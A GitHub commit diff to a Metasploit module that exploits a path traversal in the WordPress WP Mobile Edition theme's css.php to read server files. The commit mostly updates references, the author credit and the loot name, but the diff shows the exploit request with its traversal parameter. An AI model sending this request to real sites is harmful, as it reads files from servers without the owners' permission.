Skip to content

Commit 0031f09

Browse files
committed
Add author, EDB, WPVDB and fix loot.
1 parent 0f1cf1d commit 0031f09

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -21,11 +21,12 @@ def initialize(info = {})
2121
},
2222
'References' =>
2323
[
24-
['EDB', '77777']
24+
['EDB', '36733'],
25+
['WPVDB', '7898']
2526
],
2627
'Author' =>
2728
[
28-
'TO DO', # Vulnerability discovery
29+
'Khwanchai Kaewyos', # Vulnerability discovery
2930
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
3031
],
3132
'License' => MSF_LICENSE
@@ -47,8 +48,7 @@ def run_host(ip)
4748

4849
res = send_request_cgi({
4950
'method' => 'GET',
50-
'uri' => normalize_uri(datastore['TARGETURI'], 'wp-content', 'themes', 'mTheme-Unus',
51-
'css', 'css.php'),
51+
'uri' => normalize_uri(datastore['TARGETURI'], 'wp-content', 'themes', 'mTheme-Unus', 'css', 'css.php'),
5252
'vars_get' =>
5353
{
5454
'files' => "#{traversal}#{filename}"
@@ -65,7 +65,7 @@ def run_host(ip)
6565
fname = datastore['FILEPATH']
6666

6767
path = store_loot(
68-
'rips.traversal',
68+
'mobileedition.traversal',
6969
'text/plain',
7070
ip,
7171
res.body,

0 commit comments

Comments
 (0)